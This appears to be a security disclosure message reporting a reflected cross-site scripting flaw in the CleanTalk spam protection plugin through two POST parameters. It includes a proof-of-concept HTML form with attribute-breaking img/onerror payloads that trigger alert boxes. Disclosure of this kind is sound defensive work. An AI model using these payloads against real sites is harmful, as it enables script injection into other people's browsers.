Hello,
1. Reflected Cross-Site Scripting (XSS)
Unauthenticated users can inject html/js.
Method: POST
Vulnerable parameter: cleantalk_hidden_method, cleantalk_hidden_action
Example PHP callstack:
ct_init [/cleantalk-spam-protect/cleantalk-public.php:47]
Verification:
--
<input type="text" name="cleantalk_hidden_method" value="'><img src=x onerror=alert(1) />" />
<input type="text" name="cleantalk_hidden_action" value="'><img src=x onerror=alert(2) />" />
<input type="submit" name="submit">
</form>
--
--
Regards,
Marcin Probola,